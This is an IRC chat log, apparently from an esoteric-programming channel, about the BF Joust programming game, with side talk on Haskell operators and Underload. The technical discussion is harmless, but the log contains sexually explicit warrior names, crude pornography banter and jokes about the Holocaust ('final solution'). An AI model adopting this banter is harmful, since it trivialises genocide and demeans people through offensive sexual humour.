19:31:47 <elliott> 05:55:03 <quintopia> hey fizzie. wanna hear a joke?
19:31:47 <elliott> 05:56:07 <fizzie> Sure.
19:31:47 <elliott> 05:56:17 <quintopia> elliott will finish lance tonight
19:31:54 <elliott> quintopia: well, it's complete apart from a parser bug...
19:32:00 <elliott> 06:03:27 <fizzie> It uses the stackful oerjan method of doing (...{...}...)%n constructions. Though I guess it could as well use the Gregor method of sticking a counter in the instruction bf-op structure; I keep those around too, for jump offsets.
19:32:00 <elliott> 06:04:47 <quintopia> i couldn't begin to guess which of those is actually the better option
19:32:00 <elliott> 06:05:10 <quintopia> elliott obviously believes it's gregor's
19:32:03 <elliott> the stack method is better
19:32:06 <elliott> but i got it wrong
19:32:09 <elliott> so i'm doing it Gregor's way :D
19:32:10 <quintopia> elliott: I WON'T BELIEVE IT TIL I SEE IT
19:32:29 <Gregor> My way is easier, the stack way has the advantage that you can "save state" more easily.
19:32:31 <elliott> 06:29:39 <Vorpal> fizzie, why js? Is egojsout js?
19:32:35 <elliott> No, it's written in VBScript.
19:32:44 <quintopia> oh god
19:32:50 <elliott> Thus "EgoJSout", where JS stands for VB Script.
19:32:51 -!- augur has quit (Read error: Connection reset by peer).
19:32:58 <quintopia> i remember the days of IE and activex :$
19:33:04 <nescience> this is really getting interesting, but I fear things may become more complicated than I have time for :P
19:33:14 -!- augur has joined.
19:33:26 <nescience> I feel a bit sad I only had one program on top in all this ;)
19:33:27 -!- sebbu has quit (Ping timeout: 276 seconds).
19:33:38 <elliott> nescience: just write MEDIUMSPEEDRUSH
19:33:45 <quintopia> gregor: it appears to be reacting to a breadcrumb he never touched, unless i'm misreading it
19:34:09 <elliott> `addquote <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/eKWa * Sgeo had no idea that Gregor was hetero
19:34:32 <nescience> nah, I think we are getting to the place where simple strategies on their own are getting useless
19:34:38 <elliott> Gregor: You'd better get to submitting hairy_hairy_anal_men.
19:34:55 <HackEgo> 308) <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/eKWa * Sgeo had no idea that Gregor was hetero
19:35:02 <nescience> and closer to corewars' integrate and recombine attitude :P
19:35:09 <Gregor> quintopia: Tape length?
19:35:24 <quintopia> Gregor: any of the longer ones
19:35:37 <Gregor> nescience: I think we'll loop 'round to a point where simple strategies do well because complex strategies spend too much time dicking around.
19:35:43 <Gregor> nescience: I just think we haven't gotten there yet.
19:35:55 <nescience> haha maybe
19:36:07 <quintopia> from what i've seen the complex strategies do better because they spend LESS time dicking around where they don't need to
19:36:09 <nescience> but the complex strategies I am seeing is more like
19:36:19 <nescience> yeah, something like that
19:36:40 <elliott> Gregor: I dunno
19:36:46 <elliott> take a look at space_elevator
19:36:47 <nescience> more effort is being put into that because effective things hav e developed that allow people to vary their strategy
19:36:49 <elliott> it has really complex logic
19:36:52 <elliott> but it wastes no time
19:36:59 <Gregor> Fair 'nuff
19:37:00 <elliott> well
19:37:05 <elliott> or even definder2/defend13/defend9.75
19:37:08 <elliott> have even more complex logic
19:37:19 <elliott> Gregor: it's because you can waste only one cycle to do a check
19:37:25 <elliott> so you can only check for things if they seem probable or whatever
19:37:27 <nescience> which means I think we are running out of successful single strategy elegance
19:37:31 <elliott> and waste very few cycles
19:37:42 <elliott> nescience: um you realise the top program as of yesterday was just a simple tuned rush?
19:37:55 <nescience> I didn't see it yesterday
19:37:59 <elliott> indeed #2 and #3 are
19:38:07 <elliott> wireless_frownie is also prettym short
19:38:11 <elliott> *pretty
19:38:17 <elliott> http://codu.org/eso/bfjoust/in_egobot/quintopia_wireless_frownie.bfjoust
19:38:49 <Gregor> Yeah, Deewiant's strategies are well-tuned rush programs. On the one hand, GRRRR, on the other hand, it's good that such a strategy can still do well, because it means not everybody has to use code generation necessarily :P
19:39:19 <nescience> well it gives me hope :)
19:39:23 <elliott> Gregor: This is why a length-limited alternate hill might be interesting if the popularity keeps up.
19:39:30 <Deewiant> The top program of 20 minutes ago, you mean
19:39:32 <elliott> Core War has that 4-or-5-I-forget-instruction nano hill.
19:39:35 <quintopia> Gregor: bwaha, i just did a stupid loutish warrior that draws with FFSPG on longer tapes XD
19:39:37 <nescience> it's been a while since I examined the competition well enough to do that
19:39:38 <elliott> That sees actual regular innovation.
19:39:47 <elliott> Consider a 25-char-max BF Joust hill.
19:39:53 <elliott> Deewiant: well I'm logreading :P
19:39:54 <nescience> 5 I think
19:40:02 <nescience> also lol @ length limited bf
19:40:26 <elliott> why lol?
19:40:32 <elliott> there are plenty of short warriors that do well
19:40:47 <elliott> 08:16:01 <oerjan> Gregor: sure, i expect bfjoust has _several_ interacting RPS subfeatures
19:40:47 <elliott> 08:17:04 <oerjan> i'm beginning to understand that bfjoust is a rather deep game
19:40:48 <elliott> oerjan: indeed it is
19:41:37 <quintopia> !bfjoust HAHAHA (>)*9[>(+)*15[-](-)*31]
19:41:50 <elliott> quintopia: dude there's a ^scramble
19:41:55 <elliott> as well as ^srmlebac :P
19:41:57 <elliott> and ^unscramble too
19:42:00 <elliott> ^unscramble srmlebac
19:42:01 <fungot> scramble
19:42:02 <nescience> lol because some simple things take a lot of characters to accomplish
19:42:10 <nescience> could be interesting though
19:42:31 <quintopia> nescience: i've come up with some new syntax ideas that shorten the sort of programs we see now considerably
19:42:33 <elliott> nescience: well duh
19:42:36 <elliott> the idea is to restrict the design space
19:42:39 <elliott> to encourage more cunning
19:42:40 <quintopia> i was planning on writing them up later
19:42:44 <nescience> oh really
19:42:46 <nescience> like what?
19:42:58 <nescience> well I know that elliott
19:43:01 <elliott> quintopia: I don't want any new syntax fwiw
19:43:07 <quintopia> i'll add to Talk:BF Joust a little later
19:43:13 <quintopia> elliott: you wouldn't
19:43:14 <nescience> but my point was that the nature of bf is to be long
19:43:21 <elliott> nescience: but plenty of warriors aren't
19:43:30 <elliott> quintopia: I think anything more that needs doing should just be generated by a program rather than us inventing our own bastardised macro language
19:43:35 <nescience> sure, but plenty are
19:43:54 <nescience> limiting length has the effect of cutting off a subset of strategies
19:43:54 <quintopia> elliott: that's how i was planning on using it unless someone wanted to add them to an interpreter
19:44:13 <nescience> but I think some of those strategies that would get cut off are important
19:44:14 <quintopia> it's just that they would convert into really long programs
19:44:14 <elliott> quintopia: just use a more expressive language so you don't have to write an interpreter :P
19:44:22 <nescience> anyway like I said, interested anyway
19:44:25 <elliott> nescience: you realise i'm proposing it as a separate hill?
19:44:28 <elliott> 25 is probably too much
19:44:29 <elliott> say 20
19:44:31 <elliott> 20 char max
19:44:38 <quintopia> so some really simple ideas might even be too big to fit on the current hill
19:44:56 <elliott> nescience: you would be surprised, anyway. as i said, the core war nano hill has a maximum length of 5 instructions
19:44:59 <elliott> "SAL's nano hill opened on 11 June, 2004. To begin with, many players believed the maxlength of 5 would limit the warriors to clears and evolved. However, a surprising range of strategies have proved effective, including papers, scanners, oneshots and quickscanners."
19:45:03 <nescience> I am not arguing with you elliot
19:45:11 <elliott> nescience: i'm just saying that i think many strategies are viable
19:45:13 <elliott> including defence
19:45:16 <elliott> with only 20 chars
19:45:28 <nescience> I was just commenting on the nature of bf
19:45:35 <elliott> sure
19:45:39 <elliott> but that's when you want to write actual programs :)
19:45:44 <elliott> warriors are I think different
19:45:46 <elliott> because it's more internal
19:46:01 <nescience> I think it still applies
19:46:05 <quintopia> gregor: http://codu.org/eso/bfjoust/egojsout/?l=7e433c713d3eac5616ff0e877f00369a29f4e663&r=f8f398493218e009d5d58a93c23548d612d9c218&t=20&p
19:46:24 <nescience> length limit's best purpose is to reduce the possibilities of complexity
19:46:25 <nescience> but
19:46:46 <nescience> in bf it also reduces the possibilities of certain simple things too
19:47:11 <nescience> quintopia's suggestions may go well with length limited bfjoust
19:47:16 <nescience> will have to see what they are
19:47:32 <EgoBot> Score for quintopia_HAHAHA: 3.0
19:48:10 <tswett> elliott: how many possibilities are there with 5 instructions, in Core Wars?
19:48:13 <quintopia> OSHIT. bill murdock's giving a lecture today at four about Watson!
19:48:18 <quintopia> i gotsa go!
19:48:24 <elliott> tswett: well, lots, but not that many
19:48:33 <nescience> lol careless doesn't run in egojsout
19:48:39 <elliott> nescience: yes because it's broken
19:48:42 <elliott> tswett: and ofc you can't map that directly onto bf joust
19:48:42 <tswett> elliott: so, a large small number?
19:48:43 <elliott> but...
19:48:46 <nescience> rolleyes
19:48:47 <elliott> tswett: shaddap :P
19:48:54 <nescience> don't wanna argue this
19:48:56 <elliott> nescience: dude, everyone agrees that ([)*n isn't allowed :P
19:49:02 <elliott> egojsout doesn't do it, lance doesn't do it
19:49:08 <elliott> it's never been allowed in any spec
19:49:18 <nescience> dude, the alternative DIDN'T FUNCTION WHEN I WROTE IT
19:49:23 <nescience> so just shut up
19:49:38 <nescience> I'm seeing if I can fix it to work in jsout
19:50:24 <nescience> is lance in the hill yet?
19:50:27 <elliott> 08:39:49 <oerjan> (http://oerjan.nvg.org/esoteric/underload/ULDisclaim.hs)
19:50:32 <elliott> oerjan: `fmap` instead of <$>? srsly?
19:50:35 <elliott> nescience: no, it will be today or tomorrow
19:50:40 <elliott> I'm finishing up the implementation today
19:52:06 <oerjan> <elliott> Gregor: This is why a length-limited alternate hill might be interesting if the popularity keeps up. <-- it has occured to me that in principle any program can avoid delay of getting past [] by rewriting it in such a way that it _never_ executes a ]. however this requires programs of depth 100000 and exponential size in _that_
19:52:14 <elliott> oerjan: yes, we know :P
19:52:14 <Gregor> quintopia: What is this?
19:52:22 <Gregor> quintopia: (The thing you linked at me)
19:52:33 <elliott> Happiness vs. sadness.
19:52:48 <nescience> oerjan, you're not the only one
19:53:05 <nescience> I only haven't really done it because it's annoying to write and ugly :P
19:53:16 <elliott> oerjan: I think we have a consensus that giving the macro language a convenient way to do that would be a bad idea :D
19:53:42 <Gregor> quintopia: I think you snagged FFSPG in the bit of time before I fixed that last bug.
19:53:51 <Gregor> quintopia: The bug was exactly that it misread its own second breadcrumb.
19:54:18 <nescience> looks like some of the defend programs fail in jsout too
19:55:49 <Deewiant> elliott: That reminded me: is there an operator for `flip`?
19:56:00 <elliott> :t (`flip`)
19:56:01 <lambdabot> parse error on input `)'
19:56:12 <elliott> :t \f x -> f `flip` x
19:56:13 <lambdabot> forall (f :: * -> *) a b. (Functor f) => f (a -> b) -> a -> f b
19:56:14 <Deewiant> `flip` is flip
19:56:19 <elliott> Yes, yes, I know.
19:56:24 <elliott> (Stupid Caleskell)
19:56:32 <HackEgo> No output.
19:56:39 <elliott> :t \f -> (f `flip`) where flip f x y = f y x
19:56:40 <lambdabot> parse error on input `where'
19:56:46 <Deewiant> f `flip` x is just like having `flip` be the placeholder for the next argument
19:56:46 <elliott> :t \f -> let flip f x y = f y x in (f `flip`)
19:56:47 <lambdabot> forall t t1 t2. (t -> t1 -> t2) -> t1 -> t -> t2
19:56:53 <elliott> Deewiant: Yesyesyes. Hmm.
19:56:59 <elliott> @hoogle (a -> b -> c) -> b -> a -> c
19:56:59 <lambdabot> Prelude flip :: (a -> b -> c) -> b -> a -> c
19:56:59 <lambdabot> Data.Function flip :: (a -> b -> c) -> b -> a -> c
19:56:59 <lambdabot> Data.IntMap fold :: (a -> b -> b) -> b -> IntMap a -> b
19:57:03 <elliott> Deewiant: "No."
19:57:08 <nescience> btw another thing about cw nano is the core is much smaller too
19:57:10 <Deewiant> Yes, I can hoogle. :-P
19:57:12 <elliott> Deewiant: May I suggest <\>?
19:57:14 <elliott> Or </>?
19:57:20 <nescience> which has a lot to do with the viability of programs
19:57:24 <elliott> f </> 3
19:57:27 <Deewiant> @hoogle </>
19:57:27 <lambdabot> Text.Html (</>) :: (HTMLTABLE ht1, HTMLTABLE ht2) => ht1 -> ht2 -> HtmlTable
19:57:27 <lambdabot> System.FilePath.Posix (</>) :: FilePath -> FilePath -> FilePath
19:57:28 <lambdabot> System.FilePath.Windows (</>) :: FilePath -> FilePath -> FilePath
19:57:28 <oerjan> <elliott> oerjan: `fmap` instead of <$>? srsly? <-- if i start using <$>, i'll soon want Applicative notation, and HP's Parsec doesn't have an instance, and basically i don't even want to bother to try because it makes me annoyed
19:57:31 <Deewiant> No, you may not.
19:57:33 <nescience> for a nanojoust, maybe tapes of 5-10 or something
19:57:35 <elliott> @hoogle <\>
19:57:35 <lambdabot> No results found
19:57:42 <elliott> Deewiant: You realise that clashes are inevitable?
19:57:49 <elliott> oerjan: cabal install 'parsec==3'
19:57:51 <elliott> erm
19:57:52 <Deewiant> elliott: System.FilePath is a bit too common :-P
19:57:52 <elliott> 'parsec>=3'
19:57:53 <fizzie> Deewiant: "Yes sir, I can Hoogle, Google-Hoogle, all night long"?
19:57:57 <elliott> @hoogle (<@>)
19:57:58 <lambdabot> No results found
19:57:58 <nescience> both a smaller range and a shorter distance could bring about some interesting explicit distance strategies
19:58:00 <elliott> Deewiant: <@>
19:58:05 <elliott> It's like a hole :P
19:58:16 <elliott> > let (<@>) = flip in subtract <@> 3
19:58:17 <lambdabot> Overlapping instances for GHC.Show.Show (a -> a)
19:58:17 <lambdabot> arising from a use of `...
19:58:20 <elliott> > let (<@>) = flip in (subtract <@> 3) 42
19:58:22 <lambdabot> -39
19:58:28 <elliott> Deewiant: (<@>) = flip
19:58:36 <elliott> oerjan: I am pretty sure that will work in cmd.exe
19:58:44 <elliott> oerjan: perhaps with \Program Files\Haskell Blah\bin\ or something before it
19:58:45 <Gregor> I should make it so that to play on the hill you have to register a 60-hour/week period during which you're allowed to submit, so that people would be discouraged from spending all week playing BFJ X-P
19:58:51 <elliott> oerjan: and then you just use Text.Parsec
19:59:00 <elliott> oerjan: but but, no type signatures on your global definitions? :D
19:59:32 <Deewiant> fizzie: Something like that
19:59:58 <fizzie> Use ↺ for the operator, it's very flippy.
20:00:26 <elliott> > let ↺ = 3 in ↺
20:00:27 <lambdabot> <no location info>: parse error on input `
20:00:32 <elliott> > let (↺) = (+) in 3 ↺ 4
20:00:32 <lambdabot> 7
20:01:11 <elliott> > let (○) = flip in (subtract ○ 3) 42
20:01:12 <elliott> Deewiant: ^
20:01:13 <lambdabot> -39
20:01:17 <elliott> It's a hole.
20:01:24 <Deewiant> Not bad.
20:01:28 <elliott> > let (◊) = flip in (subtract ◊ 3) 42
20:01:29 <elliott> Also a hole.
20:01:30 <lambdabot> -39
20:01:38 <elliott> > let (□) = flip in (subtract □ 3) 42
20:01:39 <elliott> A box.
20:01:40 <lambdabot> -39
20:01:50 <elliott> The box and circle are a bit oversized here.
20:01:53 <oerjan> <elliott> oerjan: cabal install 'parsec==3' <-- i didn't want other people to install anything extra just for such a simple program
20:01:54 <elliott> But I'm using a proportional font.
20:01:56 <Deewiant> ⛳ flag in hole
20:02:01 <elliott> oerjan: everyone has parsec 3 dude :P
20:02:09 <Deewiant> I don't
20:02:14 <elliott> *everyone except Deewiant
20:02:27 <fizzie> I just dug up ⛳ too.
20:02:34 <fizzie> With grep -i hole.
20:02:48 <elliott> oerjan: hmm you talking about continuations in underload has totally tempt-ified me
20:02:57 <elliott> oerjan: i have a total... idea
20:03:02 <Deewiant> fizzie: What'd you grep
20:03:08 <fizzie> Deewiant: UnicodeData.txt.
20:03:14 <elliott> xCy -> x(y)C, using your silly stack notation
20:03:28 <oerjan> <elliott> oerjan: but but, no type signatures on your global definitions? :D <-- sheesh
20:03:30 <elliott> hm except that might not work very well
20:03:33 <fizzie> 1D187;MUSICAL SYMBOL COMBINING FLIP;Mn;230;NSM;;;;;N;;;;; -- but it's really just a tiny little squiggle, and a combining character too.
20:03:35 <elliott> ah you're right about the swapping thing
20:03:51 <elliott> x(y)Cz -> x(z)y
20:03:56 <elliott> so
20:04:09 <elliott> (:^)C:^
20:04:11 <elliott> is an infloop
20:04:21 <fizzie> Deewiant: Ooh, how about ⛐ -- it's gonna flip!
20:04:42 <oerjan> ->
20:04:53 <elliott> oerjan: so C is actually call/cc...
20:09:33 <nescience> gregor, your program seems to run over the smallest tape length when it encounters no decoys(?)
20:10:45 <elliott> oerjan: *Main> eval "(S)CHello, world!" []
20:10:45 <elliott> "Hello, world!"
20:11:34 <elliott> the other alternative is
20:11:45 <elliott> xCy -> x(y)y
20:11:48 <elliott> but that seems weird
20:13:28 <elliott> oh and of course
20:13:31 <elliott> (x)^y
20:13:33 <elliott> -->
20:13:38 <elliott> ((x)*^)Cy
20:13:42 <elliott> so hmm
20:13:49 <elliott> a(*^)*C == ^
20:14:11 <elliott> nope not quite
20:14:17 <elliott> *Main> eval "(:a(*^)*C):a(*^)*C" []
20:14:17 <elliott> "*** Exception: Invalid program.
20:15:21 <elliott> a(*^)~*C == ^
20:15:41 <elliott> (:a(*^)~*C):a(*^)~*C hangs
20:17:07 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/GVdi
20:17:11 <Gregor> nescience: Thanks for the bug report :P
20:17:30 <nescience> heh :P
20:17:32 <Gregor> (Off-by-one error)
20:18:16 -!- copumpkin has quit (Remote host closed the connection).
20:18:19 <nescience> I now demand that you submit it with myself as coauthor
20:19:27 <nescience> figured
20:19:37 <nescience> it's interesting that slowrush is still reasonably successful
20:19:49 <nescience> but maybe just because the hill still has a lot of junk on it
20:20:02 <Gregor> nescience: I stole far more from quintopia :P
20:20:19 <nescience> I notice that shudder is gone
20:20:33 <nescience> glad to see my efforts on that front have paid off lol
20:21:02 <nescience> btw the wiki seems to imply the shudder killing code is supposed to loop: it's not
20:21:13 <nescience> it's just in brackets so it gets skipped
20:21:20 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 64.1
20:21:24 <Gregor> 8-D
20:21:28 <Gregor> HOLY CRAP THAT WAS A BIG IMPROVEMENT
20:21:34 <Gregor> Bahahahahah
20:21:35 <nescience> I figured it would jump
20:21:41 <Gregor> I figured it would jump by one, tops :P
20:21:54 <nescience> at least that much
20:21:56 <Gregor> I mean, this should be strictly worse (by one cycle) for all tape lengths >10 :P
20:22:00 -!- copumpkin has joined.
20:22:00 -!- copumpkin has quit (Changing host).
20:22:01 -!- copumpkin has joined.
20:22:12 <Gregor> (And much, much better for tape length 10 since it doesn't kill itself)
20:22:26 <nescience> but it suicides against a bunch of good programs that it can beat consistently
20:22:36 <Gregor> Yeah, but only in two configurations.
20:22:43 <Deewiant> Darn, now you have slightly more points than allegro, too
20:22:55 <Deewiant> You and your fancy computer-generated programs
20:23:06 <Gregor> Muahahahaha
20:23:10 <nescience> sure, but +1 win gets you a decent amount more points
20:23:24 <nescience> against programs where it pays off
20:23:38 <Gregor> nescience: Clearly 'struth.
20:24:37 <elliott> 64 wow
20:24:49 <elliott> i
20:24:53 <elliott> really want to generate a huge program now
20:25:22 <elliott> but instead -- bcuz i am nice -- i will lance
20:25:28 <nescience> it beats all but like two programs
20:25:41 <Gregor> Six actually.
20:25:42 <Gregor> And ties with one.
20:26:01 <Gregor> Strictly allegro beats more programs, but it beats them in barely more than half of all configurations.
20:26:29 <nescience> eh whatever was on top had two losses and a tie last I looked
20:26:38 <nescience> but maybe I mistake the program
20:26:43 <Gregor> Yeah, that was allegro.
20:26:57 <Deewiant> Now it has three losses and a tie. :-P
20:27:00 <Gregor> I lose to six, but I win to the ones I win to in almost all configurations.
20:27:03 <nescience> ok
20:27:17 <elliott> does it beat ICA
20:27:18 <Deewiant> Dropping pendolino might help allegro's case
20:27:45 <Deewiant> Given that it loses to it, but FFSPG beats both
20:27:46 <Gregor> elliott: Amazingly it does.
20:28:08 <Gregor> BTW AREN'T MY WARRIOR NAMES JUST GETTING BETTER AND BETTER
20:28:14 <elliott> Gregor: noooo i love ica
20:28:17 <elliott> itz my favourite
20:28:19 <elliott> why amazingly
20:28:20 <Deewiant> I just see FF[A-Z][A-Z]G
20:28:31 <elliott> FFFFG
20:28:34 <elliott> Furry furry furry furry girls
20:28:36 <Gregor> elliott: I've found it REALLY difficult to win to ICA.
20:28:44 <elliott> Gregor: It's an awesome program :P
20:28:50 <Gregor> elliott: I gave up on trying, then ended up beating it by coincidence :P
20:28:57 <Deewiant> Furry furry fist fucking girls
20:29:00 <elliott> Gregor: Finding out anything about it is pretty much impossible, so you just have to hope that you accidentally win :P
20:29:04 <elliott> Deewiant: Gregor: ^ LISTEN TO THE MAN
20:29:07 <elliott> That is your next program.
20:29:17 <Gregor> I've got a list :P
20:29:25 <elliott> Psht
20:29:41 <Gregor> Besides, I already have anal fisting reserved for my gay fetishes series.
20:29:53 <elliott> Gregor: leather discipline girls appear to beat ICA
20:30:07 <Gregor> elliott: FFLDG I actually tried.
20:30:30 <elliott> well, i beat strapon pegging
20:30:31 <elliott> looks like
20:30:32 <elliott> (ICA that is)
20:30:38 <elliott> according to egojsout
20:30:40 <elliott> so
20:30:41 <elliott> ur wrong
20:30:46 <elliott> in fact i trash you
20:30:48 <elliott> on all configurations
20:31:01 <Gregor> Uhhhhwtf, did I misread the report?
20:31:04 <elliott> man it's actually kinda sad, look ta regular polarity tape length 19
20:31:06 <elliott> is this a bug in egojsout?
20:31:09 <elliott> because it looks like you sit there
20:31:12 <elliott> wait for me to run over quickly
20:31:14 <elliott> and then help me destroy you
20:31:17 <elliott> so it finishes in seconds
20:31:19 <nescience> yeah
20:31:25 <elliott> really quite pathetic :D
20:31:25 <nescience> it fails on brackets
20:31:33 <elliott> eh?
20:31:34 <nescience> it's an interpreter thing
20:31:38 <elliott> egojsout isn't broken.
20:31:41 <elliott> egojsout is the one that isn't broken.
20:31:43 -!- copumpkin has quit (Quit: Computer has gone to sleep.).
20:31:47 -!- azaq23 has quit (Quit: Leaving.).
20:31:47 <elliott> or are you trolling about ([)*n
20:31:51 <Gregor> elliott: According to egojsout, I beat ICA in all but two configurations on my egojsout.
20:31:56 <nescience> not trolling
20:32:05 <elliott> nescience: just whining about ([)*n then?
20:32:06 <nescience> just saying it fails to run some programs
20:32:18 <nescience> and that is what the result looks like
20:32:19 <elliott> it doesn't
20:32:20 <Gregor> elliott: According to the department of redundancy, I was redundant in my above redundant sentence, with redundancy.
20:32:22 <elliott> those programs aren't programs
20:32:39 <elliott> they aren't allowed by the spec, we specifically decided against them from the start, and it's an egojoust bug that they're accepted
20:32:40 <nescience> and the only ones I saw it do that on seemed to be programs with bracket stuff
20:32:45 <nescience> like defend
20:32:50 <elliott> well neither of our programs give parse errors
20:32:51 <elliott> so it's not that
20:32:51 <nescience> jesus let it die
20:33:00 <elliott> let what die
20:33:02 <nescience> I am not fucking arguing with you
20:33:07 <elliott> ...nor am I?
20:33:10 <elliott> Gregor: http://i.imgur.com/GfA6j.png
20:33:21 <nescience> you don't have to go on a rant every time I mention brackets
20:33:24 <elliott> Admittedly the traces don't look right at all.
20:33:31 <quintopia> i'm here at the lecture
20:33:38 <quintopia> hope it's awesome
20:33:43 <elliott> nescience: well when you phrase it like "it fails on brackets"...
20:34:00 <nescience> it does
20:34:13 <elliott> nescience: yeah, and perl fails at processing /dev/random too
20:34:18 <elliott> except it doesn't since that's not a valid perl program...
20:34:21 <elliott> i don't see your point
20:34:24 <nescience> I was suggesting you examine the code with an eye to them
20:34:27 <elliott> Gregor: wtf, reloaded and it gives me the right results
20:34:32 <elliott> nescience: egojsout already reports parse errors...
20:34:35 <elliott> and has done for days
20:34:42 <nescience> I don't know why that specific one is failing but it is definitely failing
20:34:48 <Gregor> elliott: Probably you had an old FFSPG
20:34:52 <nescience> it didn't report errors with careless
20:34:55 <elliott> Gregor: I loaded it seconds ago :P
20:34:59 <elliott> Gregor: And no, I think it was just bugged.
20:35:01 <Gregor> elliott: Suuuuuuuuuuuuuuure
20:35:04 <elliott> ...
20:35:05 <nescience> just failed silent in the way you observed
20:35:14 <nescience> same with some defends in certain places
20:35:19 <nescience> it just stops
20:35:21 <elliott> Gregor: simple beats you twice. nice.
20:35:25 <quintopia> gregor: that's the bug i was telling you about :P
20:35:57 <Gregor> The only thing I can imagine is that you're clicking "run" before it's downloaded the program or some such lunacy :P
20:36:27 -!- copumpkin has joined.
20:36:31 <elliott> More like
20:36:32 <elliott> jewnacy
20:36:51 <Gregor> elliott: Thinking of converting?
20:36:53 <Gregor> ... your ethnicity?
20:37:02 <elliott> Gregor: It's the final solution
20:37:46 <elliott> I can FEEL Gregor's offence!
20:37:53 <Gregor> I'm lolling :P
20:38:18 <Gregor> I'm blond with blue (sort of) eyes, so I could totally stealth my way through the holocaust ... or some such logic :P
20:38:48 <elliott> `addquote <Gregor> I'm blond with blue (sort of) eyes, so I could totally stealth my way through the holocaust ... or some such logic :P
20:38:51 <elliott> STEALTH MY WAY THROUGH THE HOLOCAUST
20:38:57 <elliott> Best thing ever said?
20:38:58 <elliott> Experts agree.
20:39:18 <Gregor> The only problem is my eyes are more like the color of pure evil.
20:39:28 <elliott> You'd fit right in the Holocaust, then.
20:39:31 <elliott> With the rest of the Jews, I mean.
20:39:35 <elliott> Not the Nazis.
20:39:36 <elliott> The Jews.
20:39:59 <HackEgo> 309) <Gregor> I'm blond with blue (sort of) eyes, so I could totally stealth my way through the holocaust ... or some such logic :P
20:44:54 <elliott> $ ./lance '({})%3' ''
20:44:54 <elliott> Syntax error: )% after repeat block not containing {}s; should be )* (on line 1, at column 5)
20:44:56 <elliott> WHY DO YOU SPEAK THESE LIES
20:44:57 <zzo38> How do you compute the NTSC color artifacts of a picture?
20:47:10 <elliott> badly
20:48:10 <fizzie> http://zem.fi/~fis/tapestats.png -- tape heatmaps, i.e. the fraction of cycles the tape pointer has spent on which cell; "left" = FFSPG, "right" = allegro, right side of image is reverse-polarity.
20:49:06 <Gregor> fizzie: Ooooooh, totes write that as a plugin for EgoJSout.
20:50:20 <fizzie> It's just tapestats[0][ptrA]++; tapestats[1][ptrB]++; on each cycle, and a little bit of scaling.
20:50:48 <Gregor> fizzie: Hmm, if I'm not mistaken, 0 is the same 0 for both competitors in this view, right? Not always the flag?
20:51:04 <Gregor> Ohnowait
20:51:07 <Gregor> Heh, cuz I won :)
20:51:19 <Gregor> Nowait, yeah
20:51:26 <fizzie> Yes, 0 is the "physical" 0.
20:51:33 <fizzie> It might be better if it were the logical one.
20:51:43 <Gregor> I think it would, but Idonno.
20:52:32 <fizzie> Or it could be the way that the opponent's flag is always at 0, the patterns might be clearer that way. Well, i'unno either, I guess it depends on the program.
20:53:57 <elliott> "Physical"/"logical" 0?
20:54:07 <elliott> Oh, you crazy morons who think that values can actually go negative, right?
20:55:15 <elliott> THAT'S A YES THEN
20:55:16 <Gregor> elliott: We're talking about tape location, not value.
20:55:19 <Gregor> Not cell value that is.
20:55:23 <elliott> o
20:55:36 <Gregor> !bfjoust furry_furry_strapon_pegging_girls http://sprunge.us/JAcR
20:55:45 <Deewiant> Planning on breaking 70?
20:55:58 <Gregor> Just added a license actually :P
20:56:14 <Deewiant> Your program is so big that it now needs a license? >_<
20:56:34 <elliott> :-D
20:56:51 <elliott> Gregor: I think you need to include it in an unobfuscated form...
20:57:00 <elliott> Also, fuck your licensing, the hill is public domain 'cuz I said so :
20:57:01 <elliott> *:P
20:57:13 <Gregor> elliott: Can't.
20:57:13 <Gregor> elliott: For various reasons.
20:57:14 <Gregor> elliott: 1) Perl code does not parse as valid BFJoust code when in a ()*0
20:57:23 <elliott> (1) Licenses aren't Perl code
20:57:33 <Gregor> Oh, include the LICENSE in unobfuscated form ^^
20:57:45 <elliott> (2) Fuck yer licensing the hill is public domain
20:57:49 <elliott> (3) Yarr
20:58:14 <Gregor> Eh, I put it under ISC :P
20:58:20 <Gregor> That's "public domain plus some words"
20:58:31 <elliott> Gregor: No, that's "requiring attribution" :P
20:58:39 <elliott> And "preserve this notice"
20:58:50 <elliott> Both of which are totally unfair if I port your code to a language which forbids all coments.
20:58:56 <elliott> You: FASCIST.
20:58:57 <Gregor> lol
20:59:19 <elliott> But *eh* it's okay, I can't speak English so I'll just not be bound by the license because of logic
20:59:22 <elliott> I GUESS.
20:59:25 <EgoBot> Score for Gregor_furry_furry_strapon_pegging_girls: 64.1
20:59:33 <elliott> That's not 70.
20:59:39 <fizzie> file:///home/fis/src/chainlance/tapestats.png -- yes, I think it's nice that way when the edge is always the opponent's flag.
20:59:44 <elliott> fizzie: LAWL
20:59:45 <elliott> FIZZIE
20:59:46 <elliott> SUCH
20:59:46 <elliott> A
20:59:47 <elliott> FUCKIN'
20:59:48 <elliott> IRC
20:59:49 <elliott> N00BLET
21:00:01 <fizzie> Copypasted from the wrong tab. :p
21:00:02 <elliott> fizzie: You misspelled "C:\My Documents", n00bcakes!
21:00:05 <elliott> HA HA HA
21:00:09 <elliott> HAAAA
21:00:13 <elliott> `addquote <fizzie> file:///home/fis/src/chainlance/tapestats.png -- yes, I think it's nice that way when the edge is always the opponent's flag.
21:00:14 <elliott> HAAAAAAAAAAAAAAAA
21:00:19 <fizzie> http://zem.fi/~fis/tapestats.png -- I even remembered to copy it into ~/www/
21:00:43 <HackEgo> 310) <fizzie> file:///home/fis/src/chainlance/tapestats.png -- yes, I think it's nice that way when the edge is always the opponent's flag.
21:01:03 <elliott> fizzie: Be more careful; next time you might accidentally patse file:///home/fis/donkeys/moredonkeys/pornography/involvingdonkeys/donkeyporn/notdonkeyporn/actuallycode/src/chainlance/tapestats.png
21:01:07 <elliott> You know, the symlink destination.
21:01:07 <Deewiant> *cough* 2009-02-22 02:42:55( ehird) file:///media/Macintosh HD/Users/ehird/Saved/2009-02/opengenera/opengenera2.tar.bz2
21:01:14 <elliott> Deewiant: >_> <_< >_> <_< >_>
21:01:28 <Gregor> laaaaaaaaaaaaaaaaaaaaaaaaaaaaawl
21:01:32 <elliott> AT LEAST YOU DON'T KNOW ABOUT _MY_ DONKEY PORN COLLECTION YET
21:01:38 <Deewiant> YET
21:01:43 <elliott> WAIT, NOW YOU DO
21:01:52 <elliott> I should probably eliminate Deewiant for questioning me waaay too much.
21:01:57 <elliott> He's inconvenient.
